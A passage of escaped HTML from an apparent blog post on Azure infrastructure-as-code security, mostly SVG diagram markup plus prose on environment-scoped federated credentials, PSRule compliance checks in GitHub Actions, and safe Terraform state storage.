fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='52' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='196' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='52' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='196' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='52' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='196' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='196' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='196' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='196' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='100' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='148' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='100' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='148' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='100' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='116' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='148' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='116' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='148' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='100' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='148' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='100' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='116' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='148' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='100' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='116' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='116' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='148' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='116' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='148' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='116' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='148' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='4' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='100' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='116' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='100' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='116' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='148' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='4' fill='currentColor' style='font-size:1em'\u003eZ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='100' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='116' fill='currentColor' style='font-size:1em'\u003ez\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='148' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='100' fill='currentColor' style='font-size:1em'\u003ej\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='116' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='148' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='100' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='116' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='148' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='4' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='116' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='148' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='116' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='116' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='148' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='116' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='116' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='116' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='116' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='4' fill='currentColor' style='font-size:1em'\u003eZ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='680' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003cp\u003eIn 2026, we use \u003cstrong\u003eEnvironment-scoped Federated Credentials\u003c/strong\u003e. This ensures that the production deployment identity can \u003cem\u003eonly\u003c/em\u003e be used by a workflow running in the \u003ccode\u003eproduction\u003c/code\u003e environment branch on GitHub, providing a cryptographic boundary between your dev and prod infrastructure.\u003c/p\u003e\n\u003ch2 id=\"3-shift-left-testing-with-psrule\"\u003e3. Shift-Left Testing with PSRule\u003c/h2\u003e\n\u003cp\u003eCompliance should be caught in the pipeline, not in a post-deployment audit. This is the boring part. Do it anyway.\u003c/p\u003e\n\u003cp\u003eWe use \u003cstrong\u003ePSRule for Azure\u003c/strong\u003e to validate our Bicep and Terraform code against the Well-Architected Framework (WAF) before it is deployed.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# GitHub Actions: PSRule WAF Compliance\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ePSRule WAF Compliance\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003euses\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003emicrosoft/ps-rule@v2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003ewith\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003emodules\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ePSRule.Rules.Azure\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003einputPath\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003elive/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eIf a developer attempts to deploy a VNet without a diagnostic setting or an unencrypted Storage Account, PSRule fails the build, preventing the non-compliant code from ever reaching the main branch.\u003c/p\u003e\n\u003ch2 id=\"4-safe-state-storage-architecture\"\u003e4. Safe State Storage Architecture\u003c/h2\u003e\n\u003cp\u003eYour Terraform state files or Bicep Deployment Stacks contain the blueprint of your entire cloud estate. Treat them accordingly.\u003c/p\u003e\n\u003ch3 id=\"safe-state-storage-architecture\"\u003eSafe State Storage Architecture\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 400 249\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 48,16 L 384,16' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,96 L 216,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,96 L 384,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,160 L 216,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,160 L 384,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 72,208 L 80,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,224 L 384,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,16 L 48,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,160 L 48,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,96 L 216,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,144 L 216,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 384,16 L 384,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 384,160 L 384,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='180' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='52' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='68' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='84' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='196' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='180' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='52' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='68' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='84' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='180' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='196' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='212' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='52' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='84' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='180' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='196' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='212' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='52' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='68' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='84' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='180' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='196' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='212' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='52' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='68' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='180' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='196' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='212' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='52' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='132' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='180' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='196' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='212' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='68' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='84' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='132' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='180' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='212' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='68' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='132' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='180' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='196' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='212' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='84' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='132' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='180' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='212' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='4' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='36' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='52' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='68' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='132' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='180' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='196' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='212' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='36' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='52' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='68' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='132' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='180' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='196' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='212' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='36' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='52' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='132' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='212' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='52' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='68' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='132' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='180' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='196' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='212' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='36' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='52' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='68' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='84' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='132' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='180' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='196' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='4' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='52' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='68' fill='currentColor' 